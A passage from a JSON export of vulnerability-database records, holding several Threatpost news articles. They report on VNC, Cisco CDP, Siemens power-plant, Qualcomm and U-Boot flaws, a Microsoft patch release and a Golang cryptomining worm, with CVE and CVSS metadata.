discovered vulnerabilities, especially considering their significant lifetime,\u201d said Pavel Cheremushkin, Kaspersky ICS CERT vulnerability researcher, in a media statement. \u201cThis means that attackers could have noticed and taken advantage of the vulnerabilities a long time ago. Moreover, some classes of vulnerabilities are present in many open-source projects and remain there even after refactoring of the [main] codebase.\u201d\n\nKaspersky contacted the affected developers, and patches have been issued for supported products, it said. TightVNC for instance has discontinued the development of the TightVNC 1.X line and considers it end of life, so the bugs won\u2019t be patched.\n\n_**Is MFA enough to protect modern enterprises in the peak era of data breaches? How can you truly secure consumer accounts? Prevent account takeover? Find out: Catch our free, on-demand **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**, \u201cTrends in Fortune 1000 Breach Exposure\u201d to hear advice from breach expert Chip Witt of SpyCloud. **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**.**_\n", "cvss3": {}, "published": "2019-11-22T19:50:14", "type": "threatpost", "title": "Critical Flaws in VNC Threaten Industrial Environments", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-15361", "CVE-2019-15681", "CVE-2019-15683", "CVE-2019-8262", "CVE-2019-8287", "CVE-2020-5135"], "modified": "2019-11-22T19:50:14", "id": "THREATPOST:8F6E27B46891F0167D7799A73F1A9380", "href": "https://threatpost.com/critical-flaws-vnc-industrial/150568/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:25:10", "description": "Cisco is issuing patches for five critical vulnerabilities that have been discovered in Cisco Discovery Protocol (CDP), the info-sharing layer that maps all Cisco equipment on a network.\n\nResearchers at Armis say that the vulnerabilities, which they disclosed on Wednesday and collectively dubbed CDPwn, can allow attackers with an existing foothold in the network to break through network segmentation efforts and remotely take over millions of devices.\n\nCDP is a Cisco proprietary Layer 2 network protocol that is used to discover information about locally attached Cisco equipment. CDP aids in mapping the presence of other Cisco products in the network and is implemented in virtually all Cisco products \u2013 including switches, routers, IP phones and IP cameras. Many of these devices cannot work properly without CDP, and do not offer the ability to turn it off, according to researchers.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaws specifically exist in the parsing of CDP packets, within the protocol\u2019s implementation in various Cisco products, from its IOS XR software to IP cameras. Cisco issued patches on Wednesday addressing the five flaws, and is urging users to update as soon as possible.\n\n\u201cThere are endless types of Layer 2 protocols, and CDP is one of them,\u201d Ben Seri, vice president of research at Armis, told Threatpost. \u201cBut there is actually a very large attack surface there, which has been neglected. I think the research community needs to do more in looking at these protocols. And network segmentation, at the end of the day, is a strong solution for IoT [internet of things], and other security problems are solved by it, but we need to make sure that it really stands strong against all kinds of attacks.\u201d\n\nA Cisco spokesperson told Threatpost that Cisco is not aware of any \u201cmalicious uses\u201d of the flaws in the wild.\n\n\u201cTransparency at Cisco is a matter of top priority,\u201d the spokesperson told Threatpost. \u201cWhen security issues arise, we handle them openly and swiftly, so our customers understand the issue and how to address it. On Feb. 5, we disclosed vulnerabilities in the Cisco Discovery Protocol implementation of several Cisco products along with software fix information and mitigations, where available.\u201d\n\n## The Flaws\n\nThe attack comes with a caveat: It requires the attacker to already have some sort of foothold inside the network, via a previously compromised Cisco device, Seri told Threatpost.\n\n\u201cSo it\u2019s not an attack that necessarily is coming from the internet,\u201d Seri told Threatpost. \u201cThe attacker needs to have some access, but if you have some very low-grade IoT device sitting inside the network, part of your threat model already is that these devices might be compromised.\u201d\n\nAfter compromising a vulnerable Cisco device, an attacker could then send a maliciously crafted CDP packet to another Cisco device located inside the network. There are five vulnerabilities in all \u2014 four of which are critical remote code-execution (RCE) vulnerabilities, and one is a denial-of Service (DoS) vulnerability.\n\nThe first RCE flaw ([CVE-2020-3118](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-iosxr-cdp-rce>)) is a format string flaw in the parsing of certain fields (i.e. Device ID) for incoming CDP packets in the CDP implementation for Cisco\u2019s Internetworking Operating System (IOS XR). IOS XR is used for its Network Converging System (NCS) carrier-grade routers.\n\nAn attacker could use certain format string characters to cause a stack overflow, ultimately leading to RCE. Researchers said an attacker could exploit this flaw to \u201cgain full control over the target router to traverse between network segments and use the router for subsequent attacks.\u201d\n\nThe second RCE flaw ([CVE-2020-3119](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce>)) is a stack-overflow vulnerability that stems from the parsing of CDP packets in Cisco NX-OS, a network operating system for Cisco\u2019s Nexus-series Ethernet switches and MDS-series Fibre Channel storage area network switches. An attacker can exploit this flaw using a legitimate CDP packet with skewed power levels (i.e., above the power level that can be accepted) and cause a stack overflow on switches, thus gaining full control.\n\nAnother RCE flaw is a heap overflow ([CVE-2020-3110](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-ipcameras-rce-dos>)) that exists in the parsing of CDP packets in the CDP implementation for Cisco Video Surveillance 8000 Series IP Cameras. It\u2019s caused when an attacker sends a CDP packet with an \u201coverly large Port ID field.\u201d\n\nThe final RCE flaw exists in the CDP implementation on Cisco Voice Over IP Phones ([CVE-2020-3111](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-voip-phones-rce-dos>)). \u201cIn this vulnerability, a stack overflow in the parsing function for the Port ID, can be exploited to gain code execution on the phone,\u201d researchers said.\n\nThe DoS flaw meanwhile stems from the CDP implementation in Cisco FXOS, IOS XR and NX-OS software ([CVE-2020-3120](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-fxnxos-iosxr-cdp-dos>)), which can be exploited by making the CDP daemon of a router or switch allocate large blocks of memory, causing the process to crash.\n\n\u201cWith this vulnerability, an attacker can cause the CDP process to crash repeatedly, which in turn causes the router to reboot,\u201d said researchers. \u201cThis means that an attacker can use this vulnerability to create a complete DoS of the target router, and in turn, completely disrupt target networks.\u201d\n\n## Impact\n\nOnce these flaws have been exploited, a bad actor could launch an array of attacks \u2013 including exfiltrating data of corporate network traffic traversing through an organization\u2019s switches and routers; and viewing sensitive information such as phone calls from IP phones and video feeds from IP cameras.\n\nAttackers could also gain access to additional devices by leveraging man-in-the-middle attacks, which would allow them to intercept and alter traffic on corporate switches.\n\nArmis disclosed the vulnerabilities to Cisco on Aug. 29, and said that it has worked with the networking giant since then to develop and test mitigations and patches. The patches were released Wednesday.\n\n\u201cVulnerabilities that allow an attacker to break through network segmentation and move freely across the network pose a tremendous threat to enterprises,\u201d according to Armis researchers. \u201cTargets have moved beyond traditional desktops, laptops and servers to devices like IP phones and cameras which contain valuable voice and video data. Current security measures, including endpoint protection, mobile device management, firewalls and network security solutions are not designed to identify these types of attacks.\u201d\n\n_**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us [Wednesday, Feb. 19 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>) when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**_\n", "cvss3": {}, "published": "2020-02-05T16:00:41", "type": "threatpost", "title": "Critical Cisco \u2018CDPwn\u2019 Flaws Affect Millions of Devices", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3110", "CVE-2020-3111", "CVE-2020-3118", "CVE-2020-3119", "CVE-2020-3120", "CVE-2020-5135"], "modified": "2020-02-05T16:00:41", "id": "THREATPOST:32F51D65448FD7613BA513B6F8239EE9", "href": "https://threatpost.com/critical-cisco-cdpwn-flaws-network-segmentation/152546/", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T23:22:29", "description": "Siemens industrial equipment commonly found in fossil-fuel and large-scale renewable power plants are riddled with multiple security vulnerabilities, the most severe of which are critical bugs allowing remote code-execution.\n\nThe affected product is SPPA-T3000, a distributed control system used for orchestrating and supervising electrical generation at major power plants in the U.S., Germany, Russia and other countries. It is plagued with 17 different bugs, uncovered by researchers at Positive Technologies.\n\n\u201cBy exploiting some of these vulnerabilities, an attacker could run arbitrary code on an application server, thereby taking control of operations and disrupting them,\u201d Vladimir Nazarov, head of ICS security at Positive Technologies, said in a media advisory issued on Thursday. \u201cThis could potentially stop electrical generation and cause malfunctions at power plants where vulnerable systems are installed.\u201d\n\nThe vulnerabilities were discovered in two specific components of the platform: The application server (seven bugs) and the migration server (10 found).\n\nThe most severe of the issues can enable RCE on the application server. For instance, CVE-2019-18283, a critical deserialization of untrusted data bug, would allow an attacker to \u201cgain remote code-execution by sending specifically crafted objects to one of its functions,\u201d according to [Siemens\u2019 advisory](<https://cert-portal.siemens.com/productcert/pdf/ssa-451445.pdf>).\n\nTwo other critical vulnerabilities, CVE-2019-18315 and CVE-2019-18316, would allow an attacker with network access to the application server to gain RCE by sending specifically crafted packets to the 8888/TCP and 1099/TCP ports, respectively. And CVE-2019-18314, another critical improper authentication flaw, would allow such an attacker to gain RCE by sending specifically crafted objects via a Remote Method Invocation (RMI).\n\n\u201cAn additional 10 vulnerabilities were found in the MS-3000 migration server,\u201d according to Positive Technologies\u2019 statement. \u201cOf these, two enable remote reading and writing of arbitrary files. For example, an attacker could read /etc/shadow, which contains hashes that could be used for brute-forcing user passwords. Several heap overflows were identified, which could be exploited as part of denial-of-service (against the migration server) or other attacks.\u201d\n\nOne notable flaw is CVE-2019-18313, a critical unrestricted upload bug, which exposes remote procedure calls (RPCs) intended for administration, by not requiring authentication. This would allow an attacker with network access to the MS-3000 Server component to gain RCE by sending specifically crafted objects to one of the RPC services, according to Positive Technologies.\n\nSiemens noted that exploitation of any of the vulnerabilities requires access to either Siemens\u2019 Application or Automation Highway (the networks linking the components).\n\n\u201cBoth highways should not be exposed if the environment has been set up according to the recommended Siemens\u2019 [operational guidelines](<https://assets.new.siemens.com/siemens/assets/api/uuid:411e91564a2d259ecd4b6c79b51f89c044b3de81/operational-guidelines-industrial-security-en.pdf>),\u201d the vendor noted.\n\nSiemens said that it\u2019s working on updates; in the meantime, power plants should restrict access to the Application Highway using the SPPA-T3000 Firewall, and there should be no bridging of an external network to either the Application or Automation highways, it said.\n\nNone of the bugs has been seen being exploited in the wild, according to Siemens.\n", "cvss3": {}, "published": "2019-12-12T21:55:55", "type": "threatpost", "title": "Critical Remote Code-Execution Bugs Threaten Global Power Plants", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-18283", "CVE-2019-18313", "CVE-2019-18314", "CVE-2019-18315", "CVE-2019-18316", "CVE-2020-5135"], "modified": "2019-12-12T21:55:55", "id": "THREATPOST:AD7CBD7ADE9D9F9DE3BBDB1AE8A6F81D", "href": "https://threatpost.com/critical-remote-code-execution-global-power-plants/151087/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:23:27", "description": "A new version of a known malware campaign aimed at installing cryptominers has changed up its tactics, adding attacks on Windows servers and a new pool of exploits to its bag of tricks. It is also swiftly evolving to position itself as a backdoor for downloading future, more damaging malware, researchers said.\n\nThe malware itself was first uncovered about a year ago, and is a loader that spreads as a worm, searching and infecting other vulnerable machines. Once it infects a machine, it fetches the XMRig cryptomining payload, which mines for Monero.\n\nAccording to [an analysis](<https://blog.barracuda.com/2020/06/25/threat-spotlight-new-cryptominer-malware-variant/>) from Barracuda Networks released Thursday, the heretofore unnamed loader, which it now calls \u201cGolang,\u201d originally targeted only Linux machines, but now has spread to Windows and other servers.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis new malware variant attacks web application frameworks, application servers and non-HTTP services such as Redis and MSSQL,\u201d explained the researchers. They added, \u201cWhile the volume is still low because the variant is so new, Barracuda researchers have seen only seven source IP addresses linked to this malware variant so far, and they are all based in China.\u201d\n\nThe bad code also uses various older vulnerability exploits in order to achieve the initial compromise of a targeted machine. The new version includes: CVE-2017-10271 for Oracle WebLogic; CVE-2015-1427 and CVE-2014-3120 for ElasticSearch; [CVE-2018-7600 for Drupal](<https://threatpost.com/two-critical-rce-bugs-patched-in-drupal-7-and-8/138468/>), a.k.a. \u201c[Drupalgeddon 2.0](<https://threatpost.com/new-drupalgeddon-attacks-enlist-shellbot-to-open-backdoors/138230/>)\u201c; and CVE-2018-20062 for the ThinkPHP framework.\n\nOther exploits that don\u2019t have CVEs are also used to exploit Hadoop, Redis and MSSQL. In the latter two cases, the malware will first try to mount a dictionary/brute-forcing attack to find credentials, and, if successful, it will use a known method for achieving remote code-execution \u201cby dumping the db file into cron path,\u201d according to Barracuda.\n\n\u201cSome of the exploits the malware includes are targeting the ThinkPHP web application framework, which is popular in China,\u201d according to the report. \u201cAs in other families of malwares, it is safe to assume that this malware will keep evolving, employing more and more exploits.\u201d\n\n## **A Golang Malware**\n\nNotably, the malware is written in the Go language (Golang).\n\nGolang is a 10-year-old compiled programming language designed by Google. According to F5 Networks, [which discovered](<https://www.f5.com/labs/articles/threat-intelligence/new-golang-malware-is-spreading-via-multiple-exploits-to-mine-mo>) the first iteration of the malware last summer, applications written in Go tend to be bulkier than others as the functions imported from other libraries are compiled in the binary itself. It also has a unique way of calling functions and storing symbols and data.\n\n\u201cAlthough the language is about 10 years old, and is used by many legitimate programmers, there has not been as much activity with Golang malware,\u201d according to F5. That said, in April, another wormable Golang loader known as Kinsing [was spotted](<https://threatpost.com/self-propagating-malware-docker-ports/154453/>) dropping XMRig onto Docker instances.\n\n## **Under the Hood**\n\nOnce the malware infects a machine, it downloads a set of files that are customized based on the platform it is attacking. One of those files positions the malware for doing more damage than simply installing a cryptominer.\n\nThe file sets typically include the initial loader pacyload, an update script, a cryptominer and its configuration file, a watchdog, a scanner and a config file for the cryptominer, Barracuda noted.\n\nOut of these files, the watchdog makes sure that the scanner and miner are up and running and that all components are up to date.\n\n\u201cIf it fails to connect to the command-and-control server (C2), it will try to fetch the address of a new server by parsing transactions on a specific Ethereum account,\u201d explained the researchers.\n\nThe scanner file meanwhile is the malware\u2019s worm propagation mechanism. It automatically scans the internet for vulnerable machines by generating random IP addresses and trying to attack the machines behind them. Once it infects a target, it reports back to the C2 about the success.\n\nFor Windows machines, the malware also adds a backdoor user, researchers found \u2013 essentially just adding another user to the system. An init/update script accomplishes this on the Linux side, according to the analysis, by adding authorized SSH key to the system.\n\n\u201cAlthough the malware includes components which constantly check for updates and help persist the attack, the installed backdoor user grants another level of control to the operators,\u201d Erez Turjeman, senior software engineer and a security researcher for Barracuda Labs, told Theatpost. \u201cThis can be used for deploying additional attacks on the victim\u2019s machine and network, beyond the scope of cryptomining.\u201d\n\nHe added, \u201cThe cryptomining component in this malware can be easily replaced by the operators into some other functionality, meaning that we might see other variants used for other purposes in the future.\u201d\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-25T18:30:59", "type": "threatpost", "title": "Golang Worm Widens Scope to Windows, Adds Payload Capacity", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2014-3120", "CVE-2015-1427", "CVE-2017-10271", "CVE-2018-20062", "CVE-2018-7600", "CVE-2020-5135"], "modified": "2020-06-25T18:30:59", "id": "THREATPOST:9530BF61FA72CF3E2B226C171BB8C5E7", "href": "https://threatpost.com/worm-golang-malware-windows-payloads/156924/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:27:41", "description": "Microsoft tackled 115 bug fixes as part of its March Patch Tuesday update \u2013 26 rated critical and 88 rated medium severity. The bugs patched span its product catalog, from Azure DevOps to Windows 10.\n\nThis month\u2019s haul is notable in its quantity and that there are only a few stand-out bugs causing headaches for system administrators. Unlike [last month](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>), Microsoft did not report that any of its bugs were publicly known or under attack at the time it released its bulletin.\n\nWithin the mix of critical issues, Microsoft tacked three remote code execution vulnerabilities. Two are tied to Internet Explorer (CVE-2020-0833, CVE-2020-0824) and the third (CVE-2020-0847) to the VBscript scripting language used by Microsoft.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAs for the two bugs in IE, researchers warned that either one could lead to code execution only if the victim was logged in with administrative rights.\n\n\u201cThe vulnerabilities could corrupt memory allowing an attacker to execute arbitrary code in the context of the current user,\u201d wrote Jay Goodman, strategic product marketing at Automox, via email. \u201cWhat this means is that an attacker could run malicious code directly on the user\u2019s system. If the user is logged in with administrative rights, those rights would extend to the code.\u201d\n\nAs for the VBscript bug, the researcher said, if an attacker was successful in commandeering the tool via code execution, it would allow an adversary to have sysadmin-like powers. That would allow them to run scripts and leverage software tools to control connected endpoints. \u201c[It] will give the user complete control over many aspects of the device,\u201d Melick said.\n\nAs for the other critical bugs, 17 fixes are tied to Microsoft\u2019s browser and scripting engines, four are for Media Foundation, two are for GDI+ and the remaining three address potentially dangerous LNK files and Microsoft Word and Dynamics Business, points out Animesh Jain with Qualys\u2019 Patch Tuesday team.\n\nJain also singled out another remote code-execution vulnerability (CVE-2020-0852), this time in Microsoft Word. \u201cAn attacker could exploit the vulnerability using a specially crafted file to perform actions on behalf of the logged-in user with the same permissions as the current user,\u201d he noted.\n\nTodd Schell, senior product manager for security at Ivanti, pointed out that the Word issue \u201ccould be exploited through the Preview Pane in Outlook, making it a more interesting target for threat actors.\u201d\n\nHe also noted that Microsoft announced a vulnerability in its Remote Desktop Connection Manager (CVE-2020-0765) that the software giant said it won\u2019t fix. \u201cThey do not plan to release an update to fix the issue,\u201d he said in a prepared statement. \u201cThe product has been deprecated. Their guidance is to use caution if you continue to use RDCMan, but recommends moving to supported Remote Desktop clients.\u201d\n\nThis month Microsoft offered its usual perfunctory advice:\n\n\u201cApply appropriate patches or appropriate mitigations provided by Microsoft to vulnerable systems immediately after appropriate testing. Run all software as a non-privileged user (one without administrative rights) to diminish the effects of a successful attack,\u201d it wrote. Besides suggesting to users not to visit untrusted sites or click on suspect links, it recommends, \u201capply the principle of least privilege to all systems and services.\u201d\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-10T21:19:39", "type": "threatpost", "title": "Microsoft Patches 26 Critical Bugs in Big March Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0765", "CVE-2020-0824", "CVE-2020-0833", "CVE-2020-0847", "CVE-2020-0852", "CVE-2020-5135"], "modified": "2020-03-10T21:19:39", "id": "THREATPOST:58C865E4F2AA34CD62938A2E6BBFDE44", "href": "https://threatpost.com/microsoft-patches-bugs-march-update/153597/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T22:19:02", "description": "Six serious bugs in Qualcomm\u2019s Snapdragon mobile chipset impact up to 40 percent of Android phones in use, according research released at the [DEF CON Safe Mode](<https://www.defcon.org/html/defcon-safemode/dc-safemode-schedule.html>) security conference Friday.\n\nThe flaws open up handsets made by Google, Samsung, LG, Xiaomi and OnePlus to DoS and escalation-of-privileges attacks \u2013 ultimately giving hackers control of targeted handsets. Slava Makkaveev, a security researcher with Check Point, [outlined his discovery](<https://blog.checkpoint.com/2020/08/06/achilles-small-chip-big-peril/>) and said while Qualcomm has provided patches for the bug, most OEM handset makers have not yet pushed out the patches.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\nClick to register!\n\nThe faulty Qualcomm component is the mobile chip giant\u2019s Snapdragon SoC and the Hexagon architecture. Hexagon a brand name for Qualcomm\u2019s digital signal processor (DSP), part of the SoC\u2019s microarchitecture. DSP controls the processing of real-time request between the Android user environment and the Snapdragon processor\u2019s firmware \u2013 in charge of turning voice, video and services such GPS location sensors into computationally actionable data.\n\nMakkaveev said the DSP flaws can be used to harvest photos, videos, call recordings, real-time microphone data, and GPS and location data. A hacker could also cripple a targeted phone or implant malware that would go undetected.\n\nThe six flaws are CVE-2020-11201, CVE-2020-11202, CVE-2020-11206, CVE-2020-11207, CVE-2020-11208 and CVE-2020-11209. Using a fuzzing technique against handsets with the vulnerable chipset, Check Point was able to identify 400 discrete attacks.\n\nThe prerequisite for exploiting the vulnerabilities is the target would need to be coaxed into downloading and running a rogue executable.\n\nQualcomm declined to answer specific questions regarding the bugs and instead issued a statement:\n\n_\u201cProviding technologies that support robust security and privacy is a priority for Qualcomm. Regarding the Qualcomm Compute DSP vulnerability disclosed by Check Point, we worked diligently to validate the issue and make appropriate mitigations available to OEMs. We have no evidence it is currently being exploited. We encourage end users to update their devices as patches become available and to only install applications from trusted locations such as the Google Play Store.\u201d_ \u2013 Qualcomm Spokesperson\n\nThe flaws were brought to Qualcomm\u2019s attention between February and March. Patches developed by Qualcomm in July. A cursory review of vulnerabilities patched in the July and [August Google Android Security Bulletins](<https://threatpost.com/high-severity-android-rce-flaw-fixed-in-august-security-update/158049/>) reveal patches haven\u2019t been yet been pushed to handsets. For that reason, Check Point chose not to reveal technical specifics of the flaws.\n\nWhat technical details that are available can be found in a DEF CON Safe Mode video posted to online. Here Makkaveev shares some technical specifics.\n\nThe focus of Check Point\u2019s research was on the Snapdragon Hexagon SoC and the DSP chip architecture and the aDSP and cDSP subsets, the [researcher noted during his session](<https://www.defcon.org/html/defcon-safemode/dc-safemode-speakers.html#Makkaveev>).\n\nThe researchers further focused on the communications between Android handset CPU and the Qualcomm DSP within the Hexagon framework. Communication between the Android operating environment and the DSP Qualcomm firmware generates data that is stored in a separate library (called skeleton libraries) within a shared memory channel.\n\nThe skeleton library acts as the glue between the Android instruction and DSP instructions. Functions inside the skeleton library are a \u201cblack box\u201d and proprietary. However, Check Point found the DSP library is accessible to developers via the Qualcomm Hexagon software developers kit (SDK). From their researchers were able to developed instructions to crash, downgrade and execute code within the DSP process.\n\n\u201cHexagon SDK is the official way for the vendors to prepare DSP related code. We discovered serious bugs in the SDK that have led to the hundreds of hidden vulnerabilities in the Qualcomm-owned and vendors\u2019 code. The truth is that almost all DSP executable libraries embedded in Qualcomm-based smartphones are vulnerable to attacks due to issues in the Hexagon SDK,\u201d researchers noted.\n\nAttacks allow attackers to create persistent DoS conditions on a handset \u2013 until the hardware is factory reset. An attack could also include a DSP kernel panic that reboots the phone. And because, according the Check Point, mobile antivirus protection doesn\u2019t scan Hexagon instruction sets, an adversary can hide malicious code within the DSP skeleton library.\n\n\u201cThe DSP is responsible for preprocessing streaming video from camera sensors,\u201d researchers wrote. So, \u201can attacker can take over this flow\u2026 The next step is gain privileges of the guest OS.\u201d\n\nIn a video demo, [posted online](<https://youtu.be/CrLJ29quZY8>), Check Point demonstrated an escalation of privileges attack that allows an attacker to gain control of the targeted system.\n\n\u201cQualcomm aDSP and cDSP subsystems are very promising areas for security research,\u201d Makkaveev said. \u201cThe DSP is accessible for invocations from third-party Android applications. The DSP processes personal information such as video and voice data that passes through the device\u2019s sensors. As we have proven, there are many security issues in the DSP components.\u201d\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-07T22:11:58", "type": "threatpost", "title": "Qualcomm Bugs Open 40 Percent of Android Handsets to Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-11201", "CVE-2020-11202", "CVE-2020-11206", "CVE-2020-11207", "CVE-2020-11208", "CVE-2020-11209", "CVE-2020-5135"], "modified": "2020-08-07T22:11:58", "id": "THREATPOST:DB4FE6FEC73D65579261FF6697220766", "href": "https://threatpost.com/qualcomm-bugs-opens-40-percent-of-android-devices-to-attack/158194/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:29:26", "description": "Multiple vulnerabilities have been found in [Das U-Boot](<https://www.denx.de/wiki/U-Boot>), a universal bootloader commonly used in embedded devices like Amazon Kindles, ARM Chromebooks and networking hardware. The bugs could allow attackers to gain full control of an impacted device\u2019s CPU and modify anything they choose.\n\nResearchers at ForAllSecure found the flaws in U-Boot\u2019s file system drivers. They include a recursive stack overflow in the DOS partition parser, a pair of buffer-overflows in ext4 and a double-free memory corruption flaw in ext4. They open the door to denial-of-service attacks, device takeover and code-execution.\n\nThere are both local and remote paths to exploitation for these flaws. If a vulnerable device is configured to boot from external media, such as an SD card or USB drive, attackers with physical access could subvert the normal boot process of the device and control the loading of the operating system, giving them substantial control over the device.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIf the device is configured to network boot, remote attackers could use an initial method to compromise the corporate or Wi-Fi network that a target device is attached to (including social-engineering malware onto a victim\u2019s endpoint or exploiting known vulnerabilities), and from there attacking the U-Boot device from that local network location.\n\n\u201cThe most obvious route for exploitation requires physical access, and could either cause denial of service (possible device bricking) or could subvert the boot process for a device or possibly bypass trusted boot,\u201d Maxwell Koo, ForAllSecure analysis engineer, told Threatpost in an interview. \u201cIf device is configured to allow pxe boot and is configured with CONFIG_CMD_FS_GENERIC, there is a possible